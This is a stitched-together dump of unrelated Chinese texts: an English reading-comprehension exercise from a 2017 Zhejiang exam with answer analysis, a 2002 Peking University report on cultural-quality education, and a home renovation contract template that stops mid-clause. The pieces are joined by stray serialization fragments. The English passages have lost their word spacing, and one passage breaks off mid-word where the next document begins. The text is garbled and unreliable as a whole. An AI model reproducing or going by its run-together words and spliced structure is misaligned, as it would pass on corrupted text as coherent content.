@#@@#@C(2017·@#@浙江高考阅读A节选)@#@BenjaminWest,thefatherofAmericanpainting,showedhistalentforartwhenhewasonlysixyearsofage.Buthedidnotknowaboutbrushesbeforeavisitortoldhimheneededone.Inthosedays,abrushwasmadefromcamel’shair.Therewerenocamelsnearby.Benjamindecidedthatcathairwouldworkinstead.Hecutsomefurfromthefamilycattomakeabrush.@#@...@#@In1747,whenBenjaminwasnineyearsold,Mr.Penningtonreturnedforanothervisit.HewasamazedatwhatBenjaminhaddonewithhisgift.HeaskedBenjamin’sparentsifhemighttaketheboybacktoPhiladelphiaforavisit.@#@Inthecity,Mr.PenningtongaveBenjaminmaterialsforcreatingoilpaintings.Theboybeganalandscape(风景)painting.WilliamWilliams,awellknownpainter,cametoseehimwork.WilliamswasimpressedwithBenjaminandgavehimtwoclassicbooksonpaintingtotakehome.Thebookswerelonganddull.Benjamincouldreadonlyalittle,havingbeenapoorstudent.Buthelatersaid,“Thosetwobooksweremycompanionsbyday,andundermypillowatnight.”Whileitislikelythatheunderstoodverylittleofthebooks,theywerehisintroductiontoclassicalpaintings.Thenineyearoldboydecidedthenthathewouldbeanartist.@#@21.Whatisthetextmainlyabout?
@#@@#@A.Benjamin’svisittoPhiladelphia.@#@B.Williams’influenceonBenjamin.@#@C.ThebeginningofBenjamin’slifeasanartist.@#@D.ThefriendshipbetweenBenjaminandPennington.@#@解析:
@#@选C 根据第一段第一句“BenjaminWest,thefatherofAmericanpainting,showedhistalentforartwhenhewasonlysixyearsofage.”以及选文第二段第一句“In1747,whenBenjaminwasnineyearsold”和最后一段,并结合全文可知,本文主要讲述了艺术家本杰明·@#@韦斯特少年时代的艺术启蒙。
@#@@#@训练目标
(二)@#@综合练——提高解题速度@#@(加★的题目为文章大意题)@#@A@#@Theloudcontinuousnoiseofthecarsorthesoundofaplanecanforceitswayintothedeepestforest,yetit’snotonlyhumansthatarebotheredbythenoise.@#@BioacousticianBernieKrausehasbeenstudyingtheeffectofnoisepollutiononwildlife,andhascomeacrosssomeinterestingbehavior,especiallyamonganimalsthatcommunicatebyvocalization(发声),likehumans.Birdsusesoundtocommunicate,butinnoisyplaces,theseanimalshavetoshoutoverthenaturalnoisetobeheard.@#@Krausementionsastudyofnightingalestoclarifywhathemeans.Thebirdsrespondedtotrafficnoisebysinginglouderandlouderuntiltheyactuallywentbeyondnoisepollutionstandardsinthecity.Tobeltouttheirsongs,theyincreasedtheirlungpressurefivefold,butscientistsstatethatthisisnotdangerousforthebirdsthemselves.@#@Studiesshowthatsuddennoisecancausecertainbirdstoleavetheirnests,exposingtheyoungtotheirenemies.Onestudyalsoshowedthatsongbirdsthatnestedclosertobusymotorwaysweremuchlessproductivethanthosethatne";i:
43;s:
28296:
"北京大学国家大学生文化素质教育基地中期检查报告@#@ @#@@#@北京大学“国家大学生文化素质教育基地”中期检查@#@校本部基地点自评报告@#@ @#@@#@北京大学@#@2002年10月@#@ @#@@#@加强文化素质教育基地建设,全面推进素质教育@#@——北京大学“国家大学生文化素质教育基地”@#@(校本部基地点)中期检查自评报告@#@北京大学有着开展文化素质教育的深厚传统。
@#@1995年,我校和清华大学、华中理工大学等高校一起,率先倡导在全国高校开展文化素质教育。
@#@1999年又和全国55所高校一起正式成为“国家大学生文化素质教育基地”。
@#@几年来,北京大学发扬优良办学传统,贯彻中央《关于深化教育改革全面推进素质教育的决定》的精神,紧紧围绕落实科教兴国战略、创建世界一流大学的任务,以培养高素质创造性人才为目标,全面推进学校的素质教育工作。
@#@“国家大学生文化素质教育基地”建设是结合学校全面推进素质教育工作来展开的。
@#@@#@一、加强组织领导、明确指导思想@#@
(1)加强领导,统筹规划,全面推进学校的素质教育工作@#@1999年9月,学校对过去几个有关素质教育的机构进行了整合,成立了北京大学素质教育委员会,统一筹划领导学校的素质教育工作,并把全面推进素质教育纳入到创建世界一流大学的整体规划当中。
@#@素质教育委员会的任务,在于统筹规划,综合协调,全面推进学校的素质教育工作,使德育、智育、体育和美育有机统一在教育的各个环节之中,使学校各个方面和各个部门的工作共同汇聚于、服务于高素质创造性人才的培养。
@#@素质教育委员会下设四个分会,分别侧重于思想政治素质教育、科学文化素质教育、身心素质教育和艺术素质教育计划的制定和实施。
@#@四个分会均由学校党政领导同志牵头,相关部门负责同志和专家参加。
@#@党委书记、校长任素质教育委员会主任。
@#@校党委赵存生副书记主持日常工作。
@#@委员会下设办公室(原与教务部教学办公室、现与教育教学评估室合署办公),既是素质教育委员会的日常工作机构,同时也是文化素质教育基地的工作机构。
@#@素质教育委员会的成立,进一步加强了对学校对素质教育工作的领导,有力地推动了素质教育工作的开展。
@#@@#@
(2)明确思路,制定措施,将素质教育落在实处@#@我校推进和实施素质教育工作的总体思路是:
@#@以邓小平教育理论为指导,全面贯彻党的教育方针和党中央、国务院关于深化教育改革全面推进素质教育的决定精神,解放思想,更新观念,深化教育教学改革,以思想政治素质教育为灵魂,以科学文化素质教育为基础,以创新精神和实践能力培养为核心,把德、智、体、美诸方面的教育统一地、有机地贯穿于学校的教育和教学之中,建立同培养高素质创造性人才相适应的具有北京大学特点的素质教育体系,为实施科教兴国战略和创建世界一流大学奠定坚实基础。
@#@对于文化素质教育工作,我们一方面注重人文精神的培养,另一方面也重视科学精神的培养,把人文精神和科学精神有机地统一起来。
@#@@#@为具体落实素质教育的各项措施,学校从创建世界一流大学计划中划拨了素质教育专项经费。
@#@到目前为止,学校从创建世界一流大学计划中累积投入素质教育专款共计1000万元。
@#@@#@二、深化教学改革,开设素质教育通选课;@#@大力促进本科生参与科研工作@#@为了全面推进素质教育工作,我校不断深化教学改革,探索高素质创新人才的培养模式。
@#@学校进一步修订了教学计划,突出强调了素质教育基础课的重要地位。
@#@2000年9月,学校正式开设素质教育通选课,要求学生广泛学习不同学科领域的知识和研究方法,进一步打通专业,拓宽基础、沟通文理、促进不同学科的融合、强化人文精神和科学精神教育。
@#@经过专家研究,通选课划分为五个基本领域:
@#@A数学与自然科学、B社会科学(经济学、政治学、法学、社会学、管理学)、C哲学与伦理、D历史与文化、E语言学、文学与艺术。
@#@学校要求2000年以后入学的本科生都要在以上5个领域中选修16学分的通选课,在每个领域至少选修2学分。
@#@学校对于通选课的建设给予了重点支持,两年多来共召开了三次通选课建设专题会议。
@#@@#@通过深入的研究论证,学校明确了未来本科教学改革的基本思路,即在低年级实施通识教育,高年级实施宽口径的专业教育,逐步实现教学计划和导师指导下的自由选课学分制。
@#@2001年秋,学校成立了“元培计划委员会”,建立了“元培实验班”,在一定范围内进行这种教学改革理念的实践。
@#@学校还改革教学管理制度和考试模式,为学生创造灵活、宽松的学习和发展空间。
@#@@#@近年来,学校还特别重视促进学生参与科学研究,增强学生创新能力。
@#@学校一直通过两项捐助基金(“君政基金”和“泰兆基金”)资助学生参与科研,并配备各领域的杰出专家为导师,培养学生的科研能力。
@#@2002年学校又投入20万元,设立“校长本科生研究基金”,加大对本科生科研的资助。
@#@本科生科研已取得了优秀成果,如生命科学院于龙川教授的小组中98年至今有8位本科生先后在SCI收录的国际期刊BrainResearch、Neuroscience上发表了7篇文章,其中有4篇第一作者为本科生。
@#@@#@我校还大力支持学生的课外科技创新活动。
@#@学校从素质教育经费中划拨专款,支持学生参加“挑战杯”高校科技竞赛。
@#@在历年的全国“挑战杯”竞赛中北大学生均取得了优异的成绩。
@#@校学生会与校研究生会每年组织“学术希望之星”、“学术十杰”的评选,有力地推动了北大的学术科研活动。
@#@为了鼓励学生的科技创新活动,学校还专门为学生设立了“创新奖”,奖励级别高于三好学生。
@#@@#@三、开展丰富多彩的校园文化活动,培育良好的校园文化环境@#@除了课堂教学中贯穿素质教育的理念之外,我校还着力营造良好的校园文化环境,为学生的素质“养成”提供条件。
@#@@#@1、学校划拨专项经费,举办“形势与政策”、“中华文明之光”、“美育精品”、“自然科学前沿”、“人文社会科学前沿”、“北大杰出校友”、“创业”等共10个大型系列讲座。
@#@2001年又与凤凰卫视联合推出“世纪大讲堂”系列讲座。
@#@部分精品讲座的讲稿已经汇编成《北大讲座》(第一辑)出版发行。
@#@各个系列讲座分别邀请到一批学术大师、文艺界知名人士、著名企业家等主讲。
@#@学校通过这种方式为学生和各个领域的精英人物面对面交流创造机会。
@#@如美育精品系列讲座邀请到的专家有:
@#@著名指挥家、中国交响乐团艺术总监陈佐湟,著名京剧艺术表演大师袁世海,著名电影导演谢晋,著名电影导演、北京电影学院导演系教授谢飞,著名电影导演、中国电影家协会主席谢铁骊,著名书法家欧阳中石,著名画家、清华大学美术学院教授吴冠中,著名画家、中央美术学院院长、中国美术家协会主席靳尚宜,著名音乐学家、中央音乐学院前院长于润洋,著名学者、戏剧评论家谭霈生等。
@#@这些艺术大师和专家们或讲解著名的艺术作品,或漫谈自己的艺术体验,或交流自己的人生经历,甚至现场进行艺术表演。
@#@他们以其深厚的艺术功底,用深入浅出的语言和生动活泼的形式,向广大学生展现了一幅幅艺术精品的精彩画卷。
@#@整个系列讲座始终将知识性、启发性、鉴赏性和理论探索性、前沿性融为一体。
@#@@#@2、推进高雅艺术进校园的活动。
@#@学校百周年纪念讲堂建成以后,积极配合学校的素质教育工作,努力将高水准、高品位的艺术活动引入学校,组织了大量经典影片、文艺演出以及各种专题活动。
@#@学校与京内外著名艺术团体合作组织大型音乐会与艺术表演。
@#@中央芭蕾舞团、中国爱乐乐团、中国交响乐团、总政文工团、中央民族歌舞团、中国京剧团、中国人民解放军军乐团、辽宁芭蕾舞团以及一些外国文艺团体等先后到北大演出,取得了良好的效果。
@#@学校还运用素质教育经费,在未名湖畔安放草坪音箱,举办未名湖畔音乐欣赏。
@#@@#@我校每年固定举办北京大学"@#@五四"@#@交响音乐会、“一二·@#@九”歌咏比赛以及新年音乐会。
@#@“一二·@#@九”歌咏比赛是北大教师和学生的合唱节。
@#@该合唱节的举行,一方面是对一二·@#@九学生运动的隆重纪念,对北大爱国主义传统的继承发扬,回顾历史,缅怀先烈,激发学生的爱国热情;@#@另一方面,极大地丰富了校园文化、活跃校园氛围,为学生的歌唱技能提供培训的机会和展示的舞台。
@#@同时,合唱的形式有利于培养学生的集体荣誉感、组织纪律性、团结协作精神等当前需要特别加强的素质。
@#@@#@学校还经常举办美术、摄影等展览,由师生组成的燕园书画社、摄影协会很为活跃。
@#@@#@学校投入130多万元,加强学生艺术团(包括合唱团、舞蹈团、民乐团、交响乐团)的建设。
@#@学生民乐团2000年到香港演出获得成功。
@#@学生舞蹈团2001年赴台湾演出,从台南到台北,处处引起轰动。
@#@学生合唱团在2001年在“全国大学生艺术歌曲比赛”中获得团体一等奖、女声小合唱一等奖和女声独唱一等奖。
@#@2002年5月作为唯一来自亚洲的学生合唱团赴法国贝尔福市参加了在该市举办的第16届国际大学生音乐节的演出,在音乐节上引起很多轰动。
@#@中央电视台播放了北大学生合唱团这次在欧洲演出的盛况。
@#@@#@3、开展丰富多彩的学生社团活动,逾百个学生社团形成“百团大战”局面。
@#@@#@社团文化是北京大学校园文化的重要组成部分。
@#@对社团之繁荣与丰富多彩,北大学生常以“百团大战”一词来形容。
@#@既有爱心社、山鹰社、自行车协会这样具有优良传统和全国影响的品牌社团,也有藏文化研究会、收藏社、IT志愿服务团、中美青年投资俱乐部这样的新兴社团;@#@既有青年马克思主义研究会、邓小平理论与实践研究会、中原发展研究会、创新协会这样的理论类社团,也有足球协会、篮球协会、游泳协会这样具有广泛群众基础的体育类社团;@#@既有保险学社、奥林匹克研究会、天文学会这样的学术类社团,也有戏剧社、古琴社、书画协会这样的艺术类社团。
@#@截至2002年4月,北京大学的学生社团注册总数已超过100家,其活动涉及理论、实践、文艺和体育等多个领域,社团成员基本上涵盖了校内29个院系的从本科生到博士研究生约一万余人。
@#@@#@4、继续加强素质教育设施建设和校园美化、绿化工作,发挥校园环境在提高学生素质方面的感染和熏陶作用。
@#@北大校园的主体—燕园有数百年历史,从明代名画家米万钟的勺园,到清代的淑春园、朗润园、镜春园、鸣鹤园,到燕京大学的燕园。
@#@这里,有许多历史文化名人的遗迹,有不少圆明园和周围名园的遗物,也有丰富的故事和传说,可以说是一部中国近、现代史的缩影,是传播传统文化和培养革命精神生动的教材。
@#@学校校园建设和改造过程中非常重视保护校园的历史文化遗迹。
@#@这里亭台楼榭,湖光塔影,树茂花繁,景色宜人,有利于陶冶学生对美好事物的爱好和追求。
@#@近年来,学校还对主要景点以及各种“名木”、“名石”立牌予以介绍,又新增加了一些将自然与人文融为一体的新景观,使校园拥有更浓厚的文化气息。
@#@@#@5、加强网络文化建设,开辟虚拟素质教育基地@#@随着互联网技术的发展,校园文化建设正逐步进入“网络时代”。
@#@互联网快速、便捷的信息传递技术,为我们开展素质教育活动提供了新的方式和途径。
@#@因此,我校非常重视网络校园文化的建设。
@#@学校素质教育委员会划拨专项经费,建设校园新闻网,快速传播素质教育活动的信息。
@#@北大共青团开通了网上新闻中心和燕园信息港,使同学们可以最快的速度了解校园文化的新进展。
@#@2001年学校还划拨经费,由学生工作部门负责建立了“红旗在线”网站,帮助广大的青年学生提高政治素质,促进理论学习。
@#@“红旗在线”为学校每个学生党支部都提供了支部活动网上空间,以加强学生党支部之间的思想交流,强化党组织在同学中间的凝聚力和号召力。
@#@通过几年的努力建设、北大校园建成了多种途径、多种方式的立体网络,网络校园文化丰富多彩,成为素质教育的新平台。
@#@@#@四、加强社会实践,锻炼学生的实践能力@#@我校近年来还特别加强了学生的社会实践活动,使学生在实践中得到教育和锻炼。
@#@学校着力支持了学生的暑期社会实践活动,每年都投入大量的人力物力财力,使暑期社会实践一直保持着规模大、层次高、形式多样、辐射面广等特点。
@#@2000年和2001年的暑期实践活动响应党中央国务院西部大开发的号召,以“向新世纪迈进,在实践中成才”为主题,共组队一百余支,参与学生达到1200多人次,其中一半以上实践地是中西部地区。
@#@@#@为深入落实江泽民同志“三个代表”的重要思想,使广大学生党员在“三下乡”社会实践中深入学习、领会和实践“三个代表”,我校在2001年的暑期社会实践中,组建了20支学生党员实践团,奔赴全国各地开展“三个代表”的宣讲服务。
@#@研究生会赴广东实践团和湖南实践团、马克思主义学院赴延安实践团和华西村实践团、物理系赴大亚湾实践团、社会学系赴大寨实践团、周恩来精神研究会赴江浙实践团等各个实践团队深入群众,积极配合和推动农村“三个代表”学习教育活动的深入开展,使之更好地服务于农村的改革、发展和稳定。
@#@校长许智宏院士、党委副书记王登峰教授和研究生们一起深入湖南,指导学生进行实践活动。
@#@在考察过程中,队员们以“三个代表”的思想要求自己,对当地进行了仔细的调查和研究,为当地经济、科技发展出谋划策,赢得了实践地的热情欢迎和一致好评。
@#@@#@五、加强师资队伍建设,提高教师的文化素养@#@在加强学生素质培养的同时,北大非常重视师资队伍的建设,提高教师的文化素养。
@#@近年来,学校尤其重视加强师德建设。
@#@北大有着“勤奋、严谨、求实、创新”的优良学术传统。
@#@2001年3月,学校召开师德建设工作会议,弘扬北大教师长期形成的优秀道德品质,如爱国主义精神和高度的社会责任感;@#@敬业爱岗,忠诚党的教育事业;@#@自强不息,不断创新;@#@求真务实,治学严谨;@#@言传身教,教书育人等等,对部分教师教学态度不够端正、部分教师精力外流提出了制约措施,努力营造出一种优化师德的环境和氛围。
@#@2001年学校文科教师大会还作出了“清除赝品,拒绝平庸,树立北大文科精品意识”的庄严承诺。
@#@2002年3月学校发布了“北京大学教师学术道德规范”,进一步规范教师的学术行为。
@#@@#@六、两个基地点的合作@#@北京大学校本部和医学部(原北京医科大学)作为一个基地的两个基地点,自基地建立之初,就进行了密切的合作。
@#@2000年两校合并组建新的北京大学之后,两个基地点开始作为一个整体进行建设。
@#@两校合并之后,学校加强了教育资源的整合,启动了公共普通课教师交流,改善医学部校园中的社会人文和自然科学的学术氛围,实现对医药卫生人才综合素质培养。
@#@2002年,为扩大医学部同学们的知识面,全面培养医学生的综合素质,充分发挥北大本部的人文优势,在校素质教育委员会专款的支持下,校社科部、团委利用医学部原有的周末素质教育课堂推出了由相关领域知名教授组成的“专家教授报告团”,在医学部校区开展人文系列讲座。
@#@讲座内容涉及了政治、经济、管理、法律、历史、教育、文学、美学等方面,主讲教师既有中国经济学界的新锐,也有著名美学和国学大师,使医学部学生亦可接受燕园文化的熏陶,体验北京大学深厚的人文和科学精神,为医学部人文环境建设增添了新绿。
@#@@#@七、深入开展素质教育理论研究,为实践工作提供理论指导@#@在加强素质教育实践工作的同时,我校加强了对素质教育理论的研究。
@#@学校不仅承担了多项国家级素质教育重大课题的研究工作,而且划拨经费,在校内设立了素质教育研究项目。
@#@如:
@#@@#@1、我校前副校长王义遒教授领导的课题组承担了教育部“高等教育面向21世纪教学内容和课程体系改革”研究项目“各类高等学校本科教育中文化素质教育目标要求、培养模式及评价方法研究”课题的研究工作,已于2001年初结题。
@#@我校教师和研究人员与苏州大学、原杭州大学、北京师范大学和山西师范大学等兄弟院校的教师一起,对素质教育的意义、内涵、目标和实施途径等进行了深入研究,取得一些重要的理论成果,对全国文化素质教育的实践工作发挥了积极作用。
@#@@#@2、我校党委副书记赵存生教授领导的课题组现在正在开展全国高等学校教学研究会研究课题“大学素质教育的理论与实践”的研究工作。
@#@该课题不仅将对大学素质教育进行历史考察和国际比较,而且还将就大学素质教育的意义和内容、实施途径、评价方法和原则以及未来发展方向进行深入的理论探讨。
@#@@#@3、我校教务部李克安教授、教育学院陈向明教授等也都正在主持着与素质教育相关的课题研究工作。
@#@如陈向明教授主持的“北京大学课程改革研究”课题,在问卷调查的基础上撰写了多份研究报告,对以素质教育为目标的课程改革和建设提出了具有指导意义的政策建议。
@#@@#@上述研究项目的成果不仅对本校素质教育实践工作具有指导意义,而且对全国高校素质教育也产生了积极影响。
@#@@#@八、素质教育的效果和辐射作用@#@我校全面推进素质教育工作,由于各项措施比较切合学校的实际情况和学生的实际需要,因此取得了显著的效果。
@#@@#@学校人才培养模式的改革得到了教师和学生的认同。
@#@学校元培计划实施以后得到了学校领导、广大教师和学生的广泛支持。
@#@通选课建设取得了明显的成绩。
@#@学校广大教师和学生对通选课的设置理念和课程形式高度认同,各院系的领导和教师开设通选课的积极性很高。
@#@课程门数由2000年秋季学期的30多门,到2002年春季学期达到130门。
@#@课程总门数达214门,涵盖了我校大部分学科领域。
@#@一大批著名教授走到了通选课的讲台上。
@#@这些课程都经过专家的把关,质量较高。
@#@所有课程都是学生听取教师的课程介绍以后、根据自己的兴趣自愿选修的,选课十分踊跃。
@#@一些课程选课人数达到八、九百人,不得不分班上课。
@#@选课人数达400-500人的课程也很多。
@#@@#@学校举办的各类讲座更是我校校园中一个显著的亮点。
@#@“美育精品”、“中华文明之光”、“自然科学前沿”、“社会科学前沿”……各个系列的讲座都是大师云集,所以也就能够吸引大批来自校内外的学生和老师前来听讲。
@#@每一次素质教育讲座,都可谓是听众如云、盛况空前、气氛热烈,常常挤得我校600多个座位的报告厅水泄不通。
@#@许多同学站着听,更有不少同学则在过道上,在讲台与座位的空隙中席地而坐。
@#@通过聆听大师们的演讲,同学们普遍反映增长了见识、开阔了眼界、启迪了思维、提高了修养。
@#@各个系列讲座也经常引起社会和媒体的关注。
@#@中央电视台、北京电视台、《光明日报》、《中国教育报》、《北京日报》、《中国青年报》、《北京青年报》对很多讲座都进行了报导。
@#@很多校外的学生、教师也纷纷前来听讲。
@#@@#@暑期社会实践活动也使学生得到了锻炼和提高。
@#@近两年面向西部的社会实践使北大学子了解了西部现状,激发他们投身于西部大开发的宏伟事业。
@#@在七、八月的酷暑中,同学们怀着满腔的热忱,奔赴祖国各地。
@#@他们在为当地政府和企业献计献策、提供服务和帮助的同时,增加了对社会现实情况的了解,培养了实践能力,并且锻炼了意志和品质。
@#@@#@学校社团文化活动、各种文体活动等等在学生素质的培养中也发挥了重要作用。
@#@优美的校园环境和浓厚的校园文化氛围则对学生产生了潜移默化的影响。
@#@@#@北京大学素质教育工作取得的成绩在最近全国第四届教学成果奖中得到了反应。
@#@在这次教学成果奖中,我校取得了国家特等奖1项,一等奖5项,二等奖18项,北京市一等奖36项,二等奖17项。
@#@这些成果中很多都是和素质教育密切相关的。
@#@获得国家一等奖的项目、哲学系叶朗教授“中国美学史的课程建设:
@#@从专业教育到素质教育”就是其中比较突出的代表。
@#@@#@我校素质教育工作在本校产生了很好的效果,而且也对全国其它高校的素质教育工作产生了积极影响。
@#@我校素质教育理论研究成果对许多高校的素质教育工作具有指导意义;@#@素质教育的实践工作经验也在外校的大批来访和各种渠道的交流中传播到全国许多高校。
@#@北京大学素质教育的理念、思路和措施,都无私地与全国高校一起切磋、共享。
@#@此外,我校教师也经常到全国各高校去讲学或举办讲座。
@#@我校的素质教育活动也有很多校外的教师、学生来参与。
@#@我校近年来在与清华大学的合作办学中,相互开放部分课程,北大的很多课程受到清华学生的欢迎。
@#@在新开设的素质教育通选课中,有些课程尽管校内选课的学生很多,但还是为清华学生安排了专门的座位。
@#@艺术系朱青生教授开设的通选课“艺术史”的课堂上,朱教授为了解决清华学生的听课问题,特意让助教买了50把蓝色的塑料小凳,夹在课桌椅之间的过道里,称为“清华凳”。
@#@近一年来,北大陆续派出富有造诣的教授到对口支援的新疆石河子大学开设人文社会科学讲座,引起了非常强烈的反响。
@#@@#@ @#@@#@九、我校文化素质教育基地建设工作的特色@#@我校文化素质基地建设工作主要有以下一些特色:
@#@@#@1、充分发挥综合大学的优势。
@#@北京大学是一所拥有自然科学、技术科学、人文科学、社会科学、管理科学、教育科学、医学科学等多种学科的综合大学。
@#@在文化素质基地建设工作中,我校充分发挥了综合大学学科交叉、渗透的优势。
@#@学校开设的通选课包含了理学、工学、人文、社会等各个学科领域;@#@各种学术讲座既包括京昆艺术的欣赏,也包括纳米等自然科学前沿。
@#@这种综合大学多学科的环境为文化素质教育提供了很好的依托。
@#@学生文化素质的培养体现了这种多学科渗透的综合效应。
@#@@#@2、师资力量雄厚,对外交流广泛。
@#@@#@北京大学有雄厚的师资力量。
@#@学校拥有一大批各个学科的专家教授,其中有53位院士、51位“长江学者”和一批人文社会科学著名学者,还有一批兼职教授、客座教授等。
@#@学校能够开设高水平的素质教育课程,组织高层次的素质教育讲座,对学生进行科学精神和人文精神的教育和熏陶,是和雄厚的、高水平的师资力量分不开的。
@#@@#@北大有着广泛的对外交流活动。
@#@一些总统、大使、著名大学的校长频频来访。
@#@国际上著名的学术大师、诺贝尔奖获得者不时来校进行学术报告。
@#@校园里经常召开各种国际学术会议。
@#@这对开阔学生的眼界,提高学生的素质都有重要的作用。
@#@@#@3、强调科学精神和人文精神的统一。
@#@北大作为兼有文理的综合大学,文化素质教育不仅强调人文精神的培养,而且重视科学精神的培养。
@#@学校在文化素质教育的工作思路中,在学校的课程设置上,在校园文化活动中都十分强调人文精神和科学精神的统一。
@#@@#@4、良好的校园文化环境和活跃的第二课堂。
@#@北大既有良好的自然环境,又有良好的人文环境。
@#@这对学生具有潜移默化的影响,是学生文化素质养成的天然条件。
@#@此外,北大校园的学术文化活动异常活跃。
@#@各种学术讲座每天都有三、五场,每年有1000次以上。
@#@各种文化节、科技节、体育节,也为学生提供了良好的锻炼机会和实践舞台。
@#@@#@5、重视美育。
@#@我校继承蔡元培先生重视美育的传统,文化素质教育工作中非常重视美育。
@#@早在1986年就建立了艺术教研室,为全校学生开设艺术课程。
@#@1999年美育正式写入了国家的教育方针,使学校的美育工作更受鼓舞。
@#@学校不仅开设大量的艺术教育课程,而且通过“高雅艺术进校园”、“美育与艺术精品讲座”等各种活动进行艺术与审美教育。
@#@@#@6、充分利用国家支持的“985计划”,增加投入,加强了素质教育载体建设。
@#@一些新的建筑和设施都成为学校素质教育的重要基地。
@#@除了建设和启用新图书馆、实验室、多媒体教室、音乐视听教室和计算机网络中心以外,学校还建有考古博物馆、地质博物馆、校史博物馆。
@#@百周年纪念讲堂和英杰交流中心的落成和使用为举行大型庆典活动、学术活动和文化艺术活动创造了条件。
@#@@#@总之,我校文化素质教育基地建设,是和学校全面推进素质教育的整体工作结合在一起的。
@#@因此,这项工作也是全方位进行的。
@#@学校上下,从学校领导到各个职能部门,从广大教师到全体学生,都广泛参与了文化素质教育工作,都广泛支持文化素质教育基地建设。
@#@学校从教学计划的制订,到课程体系的建设,从专业课程的教学,到通选课的建设,从课堂内到课堂外,从校园中到各个实践实习基地,处处体现了素质教育的理念,处处开展着素质教育的活动,处处充满了素质教育的气氛。
@#@@#@";i:
44;s:
18103:
"半包家庭装修合同样本@#@半包家庭装修合同样本@#@ 以下是半包家庭装修合同样本,供大家学习参考!
@#@@#@ 根据《中华人民共和国合同法》、《建筑安装工程承包合同条例》、《中华人民共和国消费者权益保护法》、《中华人民共和国价格法》、《上海市保护消费合法权益条例》,中华人民共和国建设部92号文《家庭居室装饰装修管理试行办法》以及其他有关法律法规规定的原则,为保护双方的合法权益,结合本工程的具体情况,甲、乙双方在平等、友好、自愿、协商一致的基础上达成如下协议,共同遵守。
@#@@#@ 发包方:
@#@联络方式:
@#@@#@ 身份证:
@#@地址:
@#@@#@ 承包方:
@#@@#@ 身份证:
@#@联络方式:
@#@@#@ 家庭住址:
@#@家庭固定电话:
@#@@#@ 条工程概况@#@ 1、甲方装饰住房系合法居住。
@#@@#@ 2、装饰施工地点:
@#@@#@ 3、施工范围:
@#@卧室客厅餐厅厨房卫生间阳台,套内面积平方米。
@#@@#@ 4、装饰施工内容:
@#@甲方住房的水、电、弱电改造工程,墙体改造,窗套门套的制作,地砖、瓷砖铺贴,地面龙骨、毛地板铺设、吊顶安装,顶面、墙面涂料,厨具、洁具、灯具、房门等设施的安装,储藏室、搬运工程等其他双方约定以及住宅室内装修工程中应包含的所有工程。
@#@@#@ 5、承包方式为乙方包工包部分材料。
@#@@#@ 6、总价款:
@#@¥元,大写:
@#@@#@ 其中:
@#@@#@ 材料费:
@#@人民币元整。
@#@人工费:
@#@人民币元整。
@#@@#@ 管理费:
@#@无。
@#@设计费:
@#@无。
@#@@#@ 垃圾清运费:
@#@无。
@#@税金:
@#@无。
@#@@#@ 材料搬运费:
@#@无。
@#@@#@ 其他费用:
@#@无。
@#@@#@ 以上总价款根据乙方实地考察甲方房屋,并初步了解所需完成工程后确定,该总价款为闭口价款,包含乙方承担的装修工程中所有的人工和附件三《甲方自购材料清单》外其他所有辅料费用。
@#@@#@ 如因甲方变更施工内容、变更材料而产生的额外材料费用按实另计。
@#@@#@ 7、工期:
@#@自_年__月__日开工,至__年_月__日竣工,工期__天。
@#@@#@ 第二条关于双方职责的约定@#@ 1.甲方责任:
@#@@#@ 甲方应在开工前一天,并向乙方进行现场交底。
@#@向乙方提供施工需用的水、电等必备条件,并说明使用注意事项。
@#@@#@ 做好施工中因临时性使用公用部位操作以及产生影响邻里关系等的协调工作。
@#@@#@ 如确实需要拆改原建筑结构或设计管线,负责到所在地房管部门或物业管理部门办理相应审批手续,并承担承担有关费用。
@#@@#@ 根据乙方提供的需求按时提供自购材料。
@#@@#@ 2.乙方责任:
@#@@#@ 参加甲方组织的施工设计方案现场交底,并负责向具体施工人员传达甲方设计方案和施工效果。
@#@@#@ 乙方在装修期间全面全程承担施工工程队负责人的管理和施工职责,对本次装修工程的质量、工期和施工现场安全负责。
@#@乙方全面承担联络甲方,保证所提供的材料质量、向甲方提出材料需求,现场管理装修施工质量和施工人员等职责。
@#@@#@ 乙方负责人负责组织装修人员参与本合同定义的装修工程,负责施工人员的人身安全。
@#@单项工程施工过程中,未经甲方许可,乙方不得擅自更换施工人员;@#@经甲方许可的施工人员更换,必须在确保施工质量的前提下;@#@如甲方对乙方装修人员的施工水平存在疑义,乙方应无条件更换。
@#@半包家庭装修合同样本@#@ XX-07-03|:
@#@我爱我家网|责任编辑:
@#@@#@ 第三条关于材料供应的约定@#@ 1.甲方提供的材料:
@#@。
@#@@#@ 甲方负责采购供应的材料、设备,应符合设计要求的合格产品,并应按时供应到现场,甲、乙方应办理交接手续。
@#@乙方如发现甲方提供的材料、设备有质量问题或规格差异,应及时向甲方提出,甲方仍表示使用的,由此造成工程损失和工期延误,责任由甲方承担。
@#@甲方供应的材料按时抵达现场后,经甲乙双方共同验收,由乙方负责保管并组织施工,由于保管不当或施工工艺不当造成的材料损失,由乙方负责赔偿。
@#@@#@ 2.甲方采购供应的装饰材料、设备,均应用于本合同规定的住宅装饰,非经甲方同意,乙方不得挪作他用。
@#@如乙方违反此规定,应按挪用材料、设备价款的双倍补偿给甲方。
@#@@#@ 3.乙方提供施工工器具;@#@乙方提供的材料:
@#@。
@#@@#@ 乙方应严格按照附件二《承包材料报价单》中规定的品牌、规格、型号等内容和设计施工要求供应材料、设备;@#@未指定品牌的材料应达到国家、行业规定的质量、环保标准;@#@甲方应到现场验收,如不符合设计、施工要求、质量、环保或规格有差异,应禁止使用。
@#@如已使用,对工程造成的损失由乙方负责。
@#@@#@ 4、乙方承包的所有材料应自行搬运入户。
@#@@#@ 甲方自购的材料,承诺在免费的前提下尽力要求装修材料供应商将装修材料送货至甲方房屋内。
@#@但如遇材料供应商坚持只负责送货到甲方住宅楼下的情况,则乙方负责将该等装修材料搬运到房屋内。
@#@@#@ 5、为保证工程的正常进行,乙方必须至少提前一周书面向甲方提出下一工序需@#@ 要购买的材料的清单,以便甲方于周末采购材料。
@#@甲方应按时提供乙方需要的材料。
@#@乙方同时必须提供大致精确的所需材料的数量。
@#@由于乙方材料估算误差大于10%而导致的材料重新购买或材料退回的交通费用将由乙方承担,或者由乙方负责运输退回供应商。
@#@@#@ 第四条关于工程质量及验收的约定@#@ 1.本工程执行DBJ08-62-97《住宅建筑装饰工程技术规程》、DB31/T30-1999《住宅装饰装修验收标准》和市建设行政主管部门制定的其它地方标准、质量评定验收标准。
@#@@#@ 2.本工程由甲方提供设计施工方案。
@#@乙方负责按有关行业规定并参照附件六《施工工艺清单》约定的施工工艺进行施工。
@#@@#@ 3.关于施工工艺,双方另做如下约定:
